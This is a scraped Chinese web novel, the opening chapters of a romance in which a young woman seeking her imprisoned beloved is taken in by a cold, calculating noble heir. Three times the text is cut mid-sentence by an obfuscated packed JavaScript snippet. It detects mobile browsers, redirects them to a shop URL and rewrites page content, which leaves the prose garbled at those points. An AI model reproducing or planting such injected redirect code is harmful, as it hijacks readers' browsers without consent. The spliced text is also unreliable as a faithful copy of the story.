《被阴湿世子强取豪夺后》 1. 第 1 章 隆冬的盛京,呵气成冰。 姜于归紧了紧身上半旧的棉斗篷,深一脚浅一脚地踩在慕容府门前未及清扫的积雪上。 寒风卷着雪沫,扑打在她冻得通红的脸上。 她抬头望着那两扇紧闭的朱漆大门,以及门前那对沉默威严的石狮,心头像压了一块冰,又冷又沉。 姜于归指尖冰凉,不自觉的抚摸着手心里那枚玉佩温润的边缘。 半个月前,清溪镇的冬日还未如此酷烈,姜于归还照常在自己的店内收到来自京城的信,林晏的信。 那时信上的字迹,还是姜于归熟悉的挺拔有力,带着独属于林晏那份克制的温柔。 字里行间都是情意缱绻,让她在冬日也觉得心口发烫。 可是后来那些信就变了,那字迹乍一看与林晏一般无二,挺拔有力,但是姜于归前世被父母压着学了十几年的书法,临遍名家帖,对笔锋气韵的感知早已经刻入骨子里。 眼前这字迹虽然模仿的很像,却少了过往的清俊挺拔,笔画转折渐,反而透露着一股掩饰不住的,属于另一个人的凌厉与压迫。 虽然还是诉说着情谊,但是字里行间缱绻再无,像是拒人千里的冷漠。 这已是连续第三封这样的信了。 姜于归不是不识趣的人,她一个无依无靠的穿越孤女,在清溪镇开着小小的酒肆谋生,而林晏,是京城慕容府的护卫,虽非显贵,却也与她云泥之别。 他当初救下她,几月相处,二人渐生情愫,离别之际,林晏赠她家传玉佩和一个手镯,曾对她许下诺言,会回去找她。 但现在看来,那或许是林晏的一时冲动。 如今分开数月,林晏冷静下来,想收回前言,便从语气生冷的书信开始,让姜于归有个心理准备,她也理解。 而姜于归所求的,不过是一个清清楚楚,将这枚过于贵重的玉佩还给林晏罢了,自此一别两宽,各自安好。 姜于归还在想着,下一刻,思绪被大门开启的“吱呀——”声打断。 姜于归下意识地退后一步,隐到石狮的阴影里。 而后,她只见一名身着玄色劲装,腰佩长刀的护卫率先走出,那眼神锐利,气息沉稳,带着一股肃杀之气。 随后,一位身着月白锦袍,外罩银狐裘大氅的年轻男子缓步而出。他身姿颀长,面容俊美如玉,通身的气度清华高贵,与这冰天雪地竟奇异地融合,仿佛雪中谪仙。 他正微微侧首,对身后一位满面愁容,眼眶泛红的老管家温声安抚。 “雪天路滑,老人家快请回吧,仔细身子。二老和林宴之事,容璟必当谨记于心,尽力周旋。” 他的声音清润温和,如同春风化雪,带着一种抚慰人心的力量。那老管家闻言,更是激动得老泪纵横,不住作揖。 躲在阴影处的姜于归顿时拽紧了衣服。 林宴!那人提到了林宴! 姜于归心头猛地一跳,也顾不得许多,眼见那谪仙般的男子转身,准备登上停在大门前的华丽马车,她猛地从石狮后站了出来。 “请——请留步!” 姜于归跑得急,带着一身寒气,声音在冷风中有些发颤。 “锵——”的一声。 在姜于归说完这句后,守在男子身侧的护卫瞬间拔刀,目光如鹰隼般锁定了姜于归,厉声开口道:“来者何人!” 冰冷的刀锋映着雪光,寒气逼人。 姜于归被这阵仗吓得脸色一白,下意识的后退了两步,声音也弱了下去,却仍努力保持着镇定:“我......我没有恶意!我只是......只是想向慕容府打听一个人!” 她的目光越过对她持刀相向的护卫,急切地望向被他护在身后的那位公子。 容璟闻声,缓缓转过身来,目光落在姜于归身上。 少女裹在臃肿的棉斗篷里,小脸冻得发白,鼻尖泛红,模样甚是狼狈。 但那一双眼睛却清澈明亮,此刻因急切而显得格外执拗,像雪地里顽强燃烧的两簇小火苗。 他抬手,轻轻挥退了如临大敌的护卫。 “长青,退下!” 那名唤作长青的护卫有些犹疑,却还是听命收回了刀。 随后,容璟唇边含着一抹令人如沐春风的浅笑,声音温和:“姑娘莫怕,不知你要寻何人?” 他的态度极大地安抚了姜于归,姜于归深吸一口冰冷的空气,努力让声音平稳:“请问,府上是不是有一位叫林宴的护卫?我......我从清溪镇来,是来找他的。” 清溪镇?找林晏?护卫? 容璟眼底深处,先是闪过一抹快速的疑惑,随后才是一丝极淡的了然与玩味迅速掠过。 他似乎想起,林晏落难前,曾经郑重其事的对他说,可能会有一个人前来盛京寻他。 林晏说如今身陷囹圄,若是那人真的来了,怕盛京的危险波及她,尤其若是害他之人得知此人与他的关系,恐怕也会下手。 所以那时,林晏请容璟帮忙照顾一二。 莫非......眼前的人就是林晏特意郑重托付他照顾的,清溪镇故人? 不过...... 林晏居然连真实身份都未曾透露,虽然郑重其事托付他照顾一二,但现在看来,可见也没有全然交付真心。 容璟又细细打量眼前的姜于归,看着她那难掩清丽的脸,随即,一丝冰冷的嘲讽漫上心头。 林晏啊林晏,你自诩清明,却终究也不过是爱色之徒。 而眼前这个女子,明知道对方只是个护卫,却还是不远千里而来,所求为何?不言而喻。 无非是仗着有几分颜色,想来这富贵之地,赌一个前程罢了。 但容璟面上不显分毫,依旧是那副光风霁月的温润模样,语气带着恰到好处的确认与关切:“敢问姑娘,可是姓姜,名于归?” 姜于归猛地抬头,眼中满是惊诧:“你......你怎么知道?” 她自认与眼前这位贵人素未谋面。 容璟唇角的笑意加深了些,显得愈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868594|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发亲和:“果然是姜姑娘!在下容璟,与林宴乃是至交,他曾特意嘱咐于我,说若有一位清溪镇的姜姑娘来寻,定要代为照拂。” 说罢,容璟微微侧身,示意那紧闭的慕容府大门,语气染上几分恰到好处的沉重与无奈。 “只是没想到,姑娘会在此刻前来,想必姑娘也看到了,慕容府如今不便待客,林宴他更是身陷囹圄,自身难保。” 身陷囹圄四个字如同惊雷,炸响在姜于归耳边。 来的一路上,她确实听闻慕容府发生了大事,慕容大人被害入狱了。 她听闻慕容大人是年初去清溪镇查案的钦差,慕容大人返京后,把查到的证据呈交陛下,大获陛下赞扬。 原本听闻慕容大人都要晋升户部侍郎了,谁知道上个月突然入了大狱,说是身为钦差,利用职务之便打击政敌,还贪赃枉法中饱私囊。 证据摆在眼前,陛下一怒之下,就将其下狱。 而林晏是慕容大人的护卫,姜于归虽猜到林宴可能处境不佳,却没想到竟也是入了狱! “入狱?他只是一个护卫?为什么也要入狱?” 姜于归顾不得礼仪,急急上前一步连声追问,声音里带着无法抑制的颤抖和担忧。 那些字迹不对的冷漠信件,此刻似乎都有了更可怕的解释。 容璟看着姜于归越发苍白的脸色,心底那片冰原似乎被什么东西极轻地挠了一下。 他抬手,虚虚向下一压,做了一个安抚的手势,声音压得更低,带着谨慎:“姜姑娘,此处不是说话的地方,人多眼杂,事关重大,不便细说。” 随后,容璟的目光扫过空旷,却可能藏有耳目的长街,随即重新落回她脸上,语气真诚而体贴:“姑娘初来京城,想必尚无落脚之处,林宴所托,我必当尽力。若姑娘信得过容某,可暂往我的国公府稍作安顿。关于林宴之事,我们再从长计议,可好?” 容璟的提议合情合理,眼神温和坦荡,让人生不出拒绝之心。 姜于归看着他,心中天人交战,不断拉扯手中的包袱的。 ......眼前之人气度非凡,言谈举止皆是不俗,又与林宴是至交,似乎是最好的求助对象。 可毕竟萍水相逢,就此跟去一个陌生男子的府邸...... 然而,想到林宴已入狱,姜于归在这偌大的盛京举目无亲,连慕容府的大门都进不去,也无法找到林晏,除了相信眼前之人,她似乎别无他法。 更何况,他能准确说出自己的名字。 一丝无奈的决绝取代了犹豫,姜于归用力点了点头,将所有的希望暂且寄托于此。 “那就......麻烦世子了。” 容璟微微颔首,侧身优雅地让出通往马车的路:“姑娘不必客气,请随我来。” 姜于归最后望了一眼那森严紧闭的慕容府大门,攥紧了袖中那枚原本打算归还的玉佩,还有手腕上那枚不同寻常的银质手镯,深吸一口气,跟着容璟,踏上了那辆象征着权贵与未知的华丽马车。 2. 第 2 章 马车内部比姜于归想象的还要宽敞温暖,角落里固定着精巧的铜质暖炉,散发着融融热意,空气中弥漫着清浅的梨花香,与她一身的风尘仆仆格格不入。 姜于归有些局促地坐在铺着厚厚锦垫的座位上,几乎只敢挨着边沿,生怕身上的寒气与尘土,玷污了这方精致的小天地。 方才,容璟极为有礼的请她上马车,但是姜于归却拒绝了。 “我长途跋涉,衣衫有些脏了,就和这位小哥一起坐在车辕上吧。” 容璟却温和的笑着摇头:“林晏是我好友,而姜姑娘是林晏托付我要照顾的人,那也就是在下的朋友,若是让朋友坐在马车外受风雪之苦,这可不是在下的待客之道。姜姑娘,请车内安坐!” 容璟的语气自然而不容置疑,带着一种天生的矜贵与恰到好处的关怀,让姜于归无法拒绝。 马车平稳地行驶起来,轱辘碾过积雪,发出单调的声响。 沉默并没有持续太久,或者说,姜于归心中的焦虑,让她无法忍受这沉默。 她几乎是刚坐稳,便忍不住再次开口,声音里带着难以掩饰的急切:“请问世子,林宴他现在可还安好?我能否见见他?” 容璟闻言,长长的睫毛微动,却并未立刻开口。 他听得懂姜于归声音里的恐惧与担忧,纯粹得不含一丝杂质。这让他心底那点因林宴爱色而起的讥诮,莫名淡了些许,转而升起一丝探究。 这般情真意切,是演给他看的,还是真的蠢得可以,对一个护卫如此死心塌地? “姜姑娘。” 他缓缓开口,目光平静地看向她,声音依旧温和,却带着一种不容打断的沉稳。 “一路奔波,想必辛苦了,此事说来话长,不急在一时。 随后,容璟姿态优雅的提起小几上温着的紫砂茶壶,为姜于归倒了一杯热茶递过去。 “姜姑娘,先喝杯茶吃点东西暖暖身子吧。” 说话间,容璟从座位下的暗格里取出一个精致的食盒,打开来,里面是几样小巧的点心,也推到两人之间的矮几上。 姜于归张了张嘴,拒绝的话在嘴边打了个转,又咽了回去。 她明白,此刻是她有求于人,对方的任何安排,她都没有立场反驳。于是她只能低声道了句:“多谢世子。” 然后,容璟便看到了让他微微挑眉的一幕。 眼前的少女,明明心急如焚,却在面对食物时,极力克制住了那份焦躁。 他看着姜于归小心翼翼端起那杯茶,小口小口地喝着,动作斯文,几乎没有发出任何声响。 吃点心时,也是用指尖细细地掰下一小块,送入唇中,细细咀嚼,姿态自然而优雅,并非刻意模仿,倒像是刻在骨子里的习惯。 倒是有些让他出乎意料! 容璟原本以为,会看到几分属于市井的粗率,或是因饥饿而略显急迫的吃相。 尤其是一个乡野村妇,在饥寒交迫之下,看见如此精美的食物,多半会狼吞虎咽,粗鄙不看。 他甚至都做好了应对这种场面,脸上该如何继续保持宽容的微笑。 毕竟乡野之地,能吃饱穿暖已是不易,何来闲心讲究礼仪? 4 这个念头让容璟觉得有些可笑。 林宴那般人物,竟也会因这点新鲜感而许下承诺,真是......愚蠢得可以。 而他眼前这个女子,恐怕至今还沉浸在那份独特带来的虚幻情意里,做着飞上枝头的美梦,却不料枝头已折,自身难保。 一丝混合着鄙夷与莫名兴味的情绪在容璟心底盘旋。 他忽然很想看看,当这层看似美好的外衣被残酷的现实彻底撕碎时,姜于归会是何种模样? 是会崩溃大哭,还是会如她此刻用餐般,依旧维持着那可笑的,不合时宜的体面? 姜于归并未察觉对面之人瞬息万变的内心活动,她只是依着本能,遵循着父母自幼的教导。 无论身处何境,是出门在外用餐,还是他人请客用餐,都应当举止得体。这几乎成了她穿越后,维系与过去那个世界最后的,微弱的纽带。 姜于归味同嚼蜡地吃着东西,所有的心思都系在林宴的安危上。每一分一秒的等待,于她而言都是煎熬。 终于,姜于归饮完了那杯茶和一小块点心,再次抬起头,目光坚定地看向容璟,虽未言语,但那眼神已清楚地表达了一切。 她在等待他的回答。 容璟迎上她的目光,唇边依旧噙着那抹无懈可击的温润浅笑。 他声音温和地开口,仿佛只是要讲述一个寻常的故事:“姜姑娘既已用完,那我们现在,便来说说林宴的......” “世子,到了!” 马车外,护卫长青沉稳的声音不高不低的响起,恰好打断容璟未说完的话。 容璟的话头戛然而止,而姜于归眼中那簇因为即将得到答案而骤然亮起的光,也随之猛然一颤,像是被这寒风吹灭的火星,瞬间黯淡了下去。 姜于归张了张嘴想说些什么,最终也只是化作一声几不可闻的叹息,将心中所有翻涌的焦虑和疑问,硬生生的压回了心底。 容璟把姜于归眼中的失望尽收眼底,不同于姜于归的失落,容璟的心情倒是有几分微妙的愉悦。 他喜欢看着姜于归这样起伏的情绪,就是不知道,她这深情戏码,在知道林晏不是护卫,而是另有身份和境遇时,还能演到几时? “既然到了,那便下车吧。林晏之事,待姜姑娘安顿下来后,再谈不迟。” 容璟神色未变,依旧温和,仿佛刚才被打断的,并非什么紧要之事。 说罢,容璟率先起身,动作优雅的拂了拂衣袍上并不存在的褶皱,弯腰下了马车。 姜于归看着容璟的背影,只能深呼吸一口气,努力平复心绪,跟着下了车。 脚踩在国公府门前清扫干净,却依旧透着寒气的青石板上,姜于归抬头,望向眼前这座比慕容府更加威严煊赫,门庭深阔的府邸。朱漆大门上的铜环,在雪光映照下泛着冷硬的光,石狮睥睨,无声地昭示着门第之高,权势之重。 国公府门前,早已经在旁边等候的侍女立刻上前撑伞,容璟转身,对着姜于归道:“姜姑娘不如去客房梳洗,换身衣服去去寒气,待熟悉完毕后,请姑娘到我的书房一叙,你想知道的事情,我们在详谈。” 容璟确实很尽心的完成好友林晏的托付,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868595|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜于归照顾有加,让人挑不出任何错处。 姜于归虽然心急如焚,却也知道现在自己这个样子,不适合谈事情,她更不想生病,于是感激的对着容璟道了谢,跟着领路的丫鬟去了客房。 待姜于归纤细的身影在引路丫鬟的带领下,消失在月洞门后,容璟脸上那温和的如同春水般的浅笑,才像是潮水般退散,不留一丝痕迹。眼底恢复了一片深不见底的幽潭。 冷漠,没有温度。 他没有立刻离开,而是站在原地,目光落在了刚才那辆姜于归坐过的马车。 车辕之上,还隐隐可见沾了雪的泥泞,是姜于归的鞋底带上去的。 容璟微微蹙眉,那神情并非厌恶,而是一种纯粹的,对污秽,以及可能给他带来不必要的麻烦的痕迹的一种排斥。 “长青。”容璟开口,声音依旧平淡,没有一丝情绪起伏。 长青立刻上前:“世子有何吩咐?” 容璟的目光依旧落在马车上,语气轻描淡写,好像只是在吩咐一件再寻常不过的小事。 “把这辆马车拖到后巷去,烧了!” 长青闻言,身形几不可查的轻轻一晃,但是脸上没有任何质疑或者惊讶的神色,而是垂手领命:“是,属下这就去!” 容璟不在多看马车一眼,转身踏着清扫干净的石阶朝着书房走去。 书房内,炭火无声地燃烧,驱散了冬日的严寒,却驱不散容璟眉宇间的一丝冷意。 他修长的手指间翻看着一封刚阅毕的密报,关于林宴入狱一案的蛛丝马迹在脑中飞速掠过。 林晏在查的事情,他也在查,所以对林晏的施救并非全然敷衍。 于公,林宴所查之事牵涉甚广,他需要知道水有多深。 于私,林宴是他最好的朋友,至少在世人眼中如此,他需要维持这份情谊,也需要掌控局势。 思绪流转间,脑海中却不期然地浮现出马车里那张冻得发红,眼神却执拗清澈的脸。 姜于归。 一个不该出现的麻烦,一个与他精心维持的世界格格不入的变数。 马车早已彻底清理,她留下的那点微不足道的寒气与尘土痕迹,已然消失无踪。可她这个人,却实实在在地闯了进来,带着一身与林宴割舍不断的牵扯。 真是碍眼,林宴自己身陷囹圄,倒不忘给他添个累赘。 容璟正思索着该如何处置姜于归这个累赘,既不显得他过于冷血,又能将这个麻烦解决,书房外响起了轻微的叩门声。 “世子。”是长青的声音。 “进。” 长青推门而入,垂首禀报道:“姜姑娘已梳洗完毕,正在书房外求见。她说想尽快知道......林晏公子的消息。” 长青的声音在对林晏的称呼上略带一丝迟疑,显然容璟也察觉到了。 想到姜于归以为林晏是护卫,他不免觉得好笑。 这么快就找来了?不过,也好。他已经想到解决这个麻烦的主意。 他并未立刻让姜于归进来,而是将手中的密报不紧不慢地置于书案一角,用一本闲书虚虚盖住,只留下一角隐约的墨迹。然后,他才抬眼,对长青淡淡道:“请她进来。” 3. 第 3 章 书房门再次被推开,换了身干净素雅衣裙的姜于归走了进来。 洗去风尘,她面容更显清丽,只是眉宇间那份化不开的忧虑与急切,让她看起来像一株被风雨催折,却依旧顽强挺立的兰草。 姜于归依着礼数微微屈膝:“容世子。” “姜姑娘不必多礼,请坐。”容璟抬手示意一旁的座椅,语气是一贯的温和。 姜于归如何有心思寒暄?她落座后,双手在膝上紧紧交握,几乎是立刻切入了正题:“世子,现在可否告知我,林宴他情况究竟如何?他只是一个护卫,怎么会卷入需要入狱的大案?” 姜于归仰着头,眼中是全然的信任与恳求,仿佛容璟是她此刻唯一能抓住的浮木。只是那眼神,纯粹的有些......刺眼。 容璟看着姜于归那双过于干净的眼眸,心底那点因麻烦而起的烦躁,奇异地被一种更复杂的情绪取代。 但他很快将这感觉压下,取而代之的是一种近乎残酷的,想要亲手打破姜于归天真认知的欲望,看看内里究竟是何种颜色的阴暗和欲望。 容易轻轻叹了口气,身体微微向后,靠进宽大的椅背里,目光却依旧锁在姜于归脸上,带着一种混合了怜悯,审视与一丝难以言喻的探究。 他缓缓开口,声音低沉而清晰,每一个字都敲打在姜于归紧绷的心弦上:“姜姑娘,我想,首先有一件事,林宴或许......并未对你坦言。” 姜于归一怔,心头莫名一紧:“......什么事?” 容璟的指尖在光滑的紫檀木椅扶手上轻轻一点,目光锁住她,不容她有任何闪避。 “林宴他并非什么慕容府的护卫。” 容璟说罢顿了顿,清晰地看到姜于归的瞳孔因惊愕而微微收缩,呼吸也随之一窒。 他欣赏着姜于归因他话语而起的动荡,才不紧不慢地,继续用那平稳却极具穿透力的声音,投下了第一颗惊雷。 “他的真实身份,是奉旨南下,巡查吏治,手握生杀之权的——钦差大臣。” 话音落下的瞬间,容璟的目光如同最精细的尺,丈量着姜于归脸上每一丝细微的变化。 他预想着,接下来,他应该会看到一种复杂的,扭曲的神情。 是押对宝般的,难以置信的狂喜,毕竟她攀附的不是什么护卫,竟是一位钦差! 然后那喜悦还未来得及完全绽放,便会被更巨大的,对钦差入狱意味着什么的恐惧所覆盖。 那将是人性最真实的写照,贪婪与恐惧交织。 然而——让容璟失望。 他看到了震惊,巨大的,如同海啸般的震惊,瞬间淹没了她所有的思绪,让她脸色煞白,嘴唇微张,却发不出任何声音。 那双总是盛满担忧的眼睛里,此刻是一片空茫的,被彻底颠覆的混乱。 但,没有欣喜。 一丝一毫都没有。 没有那种赌徒终于窥见巨大回报的窃喜,只有纯粹的,因被欺骗而产生的伤痛,以及随之而来的,更深更沉的,对林宴处境的恐惧。 容璟那温润的眉间也微微蹙起。 怎么会? 这与他预判的剧本截然不同。 一个乡野村妇,得知自己倾心并且互许约定的男子竟是位高权重的钦差,第一反应竟不是欣喜若狂?这不合常理。 是演技太高超,连他都骗过了?还是...... 一个被他刻意忽略的,林宴曾说过的话,不合时宜地撞入脑海。 那是在林宴入狱后,容璟打通狱中关节,好不容易去看他时候的对话。 容璟站在牢房之外,一身月白色的常服在这肮脏的环境中显得格格不入,他看着靠在草垛旁的林晏,不过才几日的功夫,这位昔俊朗非凡的探花郎,户部给事中,就已经憔悴了许多,脸上衣服上,更是带着明显的污渍。 但是他的背脊依旧挺直,眼神虽然略显疲惫,但却没有失去那份清正与温和,甚至依旧坦然自若,好似他身处的不是牢狱,而是自家书房。 容璟给他带了些干净的吃食,语气带着恰到好处的关切:“我已经打点过,狱卒不会为难,外面的事情我正在周旋,但你也知道,此次你查的案子,牵扯当朝公主,想要还你清白,只怕是还要多费些时日。” 林晏结果东西,真诚的道了声谢。 待沉默片刻,容璟看着牢房内跳动的烛火,终于还是忍不住开口,他的声音压得很低,带着一股难以启齿的犹豫。 “林晏,你我多年至交,有些话,我便直说了。若是此番......你真的过不去了......除了你的祖父祖母,你可还有什么放心不下的?” 容璟问的含蓄,但是意思很明确,有些事情,总要做两手准备。 林晏闻言,吃东西的动作停住,眼神也黯淡下来。 他沉默了好一会儿,才缓缓开口:“祖父祖母年事已高,让他们再次白发人送黑发人是我不孝。若是我当真过不去这一关,还请你多多照拂。除此之外,便是......” 林晏停顿一下,眼中闪过一抹痛苦:“在清溪镇的时候,我结识了一位叫姜于归的姑娘。” 容璟的眉梢几不可查的动了一下,这个名字,已经被林晏好几次提起,一个偏远小镇的女子,竟然能让林晏身陷囹圄,自身难保的时候,还如此记挂? 容璟没有打断林晏的话,看着林晏那双蒙尘,却依旧清亮的眼神,带着一种近乎固执的信任道:“她一定会到上京来寻我,可是上京危险,若是让人知道她与我的关系,她定然也有危险,还请潜玉兄能够照拂一二。” 听着林晏的话,容璟心中只觉得荒谬至极。 林晏是不是对自己太自信了,觉得世上所有女子都要对他倾心? 一定会来?凭什么?就算来,也是冲着林晏的身份而来。 认识林晏多年,容璟他还是觉得,林晏身处朝堂宦海,却那么天真。 在这个世态炎凉,人人自私自利,只会自保的时刻,一个无亲无故的乡野女子,怎么可能会为了一个前途未卜的人,孤身前来龙潭虎穴般的上京? 痴人说梦! 他觉得林晏或许是打击太大,开始产生不切实际的幻想了,看在这个份儿上,既然作为好友,自然不会在继续打击。 然而林晏接下来的话,更让容璟心中添了几分讥笑。 容璟看着林宴眉宇间带着容璟素来鄙夷的,为情所困的优柔,他郑重托付:“潜玉,我知道如今我已经是吉凶难料,我入狱后,东西送不出去,为了让她安心,请你代笔书写了三封信,代我去信安抚。虽然你仿了我的字迹,但是她心思细腻,聪慧敏感,一定会察觉,所以我到时候她会来京。” 林晏说道这里,心里的担忧更甚,丝毫没有察觉容璟的神色。 看出字迹的不同? 容璟几乎就要失笑出声了。 他确实答应林晏,给那位姜于归姑娘写了三封信,既是举手之劳,又是维系他和林晏重情形象的一部分。 在他看来,一个乡野女子能识得几个字,看懂心中的内容已属不易,还能分辨出笔记的差别?简直是天方夜谭。 林晏的话没能说服容璟,只是让容璟更加确信,林晏备受打击有些疯了,开始沉浸在自己的红颜知己的幻想里自作多情。 容璟没有反驳,更没有揭穿在他眼里,林晏的白日梦,只是轻轻点头,脸上依旧是沉稳而可靠的神色,顺着林晏的话,用着安抚的语气对林晏承诺。 面上是感同身受的承诺,心底却嗤笑林宴愚蠢魔怔。 为一个女子,算计至此,真是可笑之极。 他甚至恶意地揣测,那女子若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868596|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得知林宴身份,怕是巴不得立刻贴上来,何须如此费心隐瞒? 不过那时容璟未曾拆穿,只觉得林宴陷入了自欺欺人的情障。 容璟当时是如何回应的? “你且放心,若是那位姜姑娘真的如你所言来了上京,我必定会替你妥善照顾,不会让她有危险。” 这话说的情真意切,林晏闻言,眼中流露出一抹感激,仿佛了却了一件极大的心事。 “有潜玉兄这句话,我也就安心了。” 说罢,容璟又嘱咐了几句保重,转身离开了牢房。 走在阴暗湿冷的甬道里,容璟听着身后牢门再次紧闭,将林晏和他那不切实际的幻想,一起锁在了这暗无天地的大牢。 照顾? 容璟面无表情的想,别说容璟觉得那个姜于归不可能来上京,就算来了,也不过是冲着荣华富贵来的。 届时得知了林晏的牢狱之灾,只怕避之不及,到时候他再给姜于归一笔够她下半辈子吃喝不愁的钱财,只怕姜于归会乐得立刻消失。 可笑! 不过是一个身陷绝境之人,抱着的无用的幻想罢了。 容璟并没有将这件事情放在心上,但是后来,还是去了一趟慕容府,看望林晏的祖父祖母。 毕竟如今容璟的“好友”身陷囹圄,他作为林晏的“好友”,不得不为了这个称得上“至交”的人,四处奔波,替他照顾家人。 他必须忧心,必须奔走,必须重情重义,才能让世人觉得,国公府的世子容璟虽然性子清冷了些,但总归还是“正常”的,能与这俗世的烟火气相容,和林晏一样,是温润的君子。 容璟的到来,是林晏祖父母绝望中的最后一丝希冀。在他们哽咽的重复着,林晏的事就劳烦世子多费心的时候,他需要调动全部的演技,才能维持住脸上那份合适的沉痛与坚定。 他甚至很享受这样的伪装。 直到出了门,听见长青警惕的声音,了解了来人的身份,他的心底才终于信了林晏的话。 原来,不是林晏在痴人说梦啊...... 加上此刻,看着姜于归眼中那毫无杂质的震惊与伤痛,再联想到她在马车前,即便心急如焚依旧维持的,不合身份的得体举止...... 难道林宴说的,竟有几分是真的?这个女子并非冲着权势而来? 这个念头让容璟感到一丝极其细微的,不被掌控的烦躁。 他习惯于将人置于最卑劣的动机下去审视,这让他感到安全,感到一切尽在掌握。 可姜于归的反应,像一颗投入死水潭的石子,激起的涟漪,与他预期的波纹截然不同。 是个毫无远见,连攀龙附凤都不会的蠢货?还是......她对林宴,竟是真心的? 后一个想法让容璟觉得更加荒谬,这世上,哪有什么无缘无故,不掺杂质的真心?不过是筹码不够,或伪装得更高明罢了。 他看着姜于归渐渐从巨大的冲击中回过神,眼中雾气氤氲,却强忍着没有落下,只是喃喃低语,声音破碎:“他......他为什么骗我......钦差......怎么会......” 那声音里的委屈,不解,以及挥之不去的担忧,如此真实。 容璟心底那片常年冰封的,不相信任何光明的阴暗角落,似乎被这不合逻辑的反应,撬开了一道微不可查的缝隙。 他依旧不信,但那份麻烦的定性,已经悄然发生了变化。 或许这个麻烦,比他想象中......要稍微有趣那么一点。 容璟收敛起所有外露的情绪,重新挂上那副温和关切的面具,声音放缓,带着一种引导的意味:“姜姑娘,林宴隐瞒身份,或许有其不得已的苦衷。钦差之行,本就凶险,身份暴露,恐累及身边之人。他......或许是想保护你。” 4. 第 4 章 书房内的时间,仿佛因那钦差大臣四个字而骤然凝固。 姜于归怔在原地,如同被无形的寒冰封住,她脸上最后一丝血色也褪去了,只剩下一种近乎透明的苍白。 那双总是清澈明亮的眸子,此刻像是骤然碎裂的琉璃,映不出任何光彩,只有一片空茫的,被彻底颠覆的痛楚。 姜于归没有哭,也没有质问,只是深深地低下头,纤细的肩膀微微蜷缩起来,仿佛承受不住这突如其来的重压。 交握在膝上的双手,指节因用力而绷得发白,细微地颤抖着。 一种无声的,巨大的悲伤蔓延开来,将这温暖的书房也染上了几分寒意。 姜于归需要时间,需要时间来重新拼凑那个她所认识的,温和正直的护卫林宴,与这个陌生的,位高权重的钦差大臣之间的关系。 过往相处的每一个细节,此刻都像带了刺,反复扎着姜于归的心。 姜于归想起林晏曾经那些欲言又止,那些看似无意的回避,那些关于身份的玩笑......原来都不是空穴来风,而是早有暗示啊。 容璟静静地注视着这一切。 他预想中的狂喜与恐惧都没有出现,只有这沉甸甸的,几乎令人窒息的沉默与伤痛。 这完全超出了他对乡野村妇或攀附女子的认知范畴,心底那份因失控而起的细微烦躁,逐渐被一种更浓烈,更阴暗的探究欲所取代。 于是,在那令人压抑的沉默持续了足够久之后,容璟再次开口了,他的声音依旧维持着温和的语调,但吐出的每一个字,都像精心打磨过的冰凌,精准地刺向姜于归最不设防的地方。 “看来,林宴将你保护得极好。” 容璟轻轻叹息,语气中带着一种近乎残忍的同情:“他不仅隐瞒了钦差的身份,想来,连他的本名与官职,也未曾向你提及吧?” 他微微前倾身体,目光如同最精细的解剖刀,不放过姜于归脸上任何一丝细微的抽搐。 “他本名慕容琛,字林晏。慕容氏乃京中清流望族,他原本的官职,是户部给事中,是正六品京官,掌稽核财赋,注销户部文卷,位卑而权重。年后奉旨南下查案,回来后原本就要晋升为户部侍郎了,结果就被查出贪赃枉法,此刻被收监查办,成为狱中阶下囚。” 每多说一句,容璟都刻意放缓语速,给予信息沉淀的时间,也给予痛苦发酵的空间。 最后,他抛出了那个看似关切、实则诛心的问题,声音轻柔,却重若千钧:“这些......他竟一样,都未曾告知于你吗?” 此刻沉默的姜于归,那故作镇定的姿态,在容璟看来,定然实在思索该如何利用这个机会飞上枝头。 容璟越发认定,姜于归接触林晏,必定是看出他气度不凡,绝非池中之物,所以才豪赌一番。想着即便护卫身份是假,但也可能是上京的富商巨贾。 也就林晏蠢,上了当。 即便姜于归赌输了...... 如今不是还有他这个荣国公府的世子可以攀附吗? 那么现在的沉默,是在计划如何开口,让她的移情别恋看上去更为顺理成章吗? 容璟敲打桌面的指尖不自觉的停下,看向姜于归的眼神更是毫不掩饰的厌恶。 这种处心积虑的女子,在盛京之中,他见得多了...... 他觉得自己已经洞察了一切,再次开口,声音依旧平稳,带着一股无形的压力道:“姜姑娘,你现在知道林晏的身份,就该知道盛京乃是是非之地,就连林晏都无法独善其身,更何况姑娘你。林晏希望姑娘远离是非,所以......” 容璟将桌上的锦盒打开,朝前面推了推。 “拿着这些,离开吧,有些梦境早些醒来,于你而言才是幸事!” 姜于归闻言终于抬头,目光落在容璟的手边,即便没有细看,但她也知道,盒子里的钱定然够她下半辈子衣食无忧了。 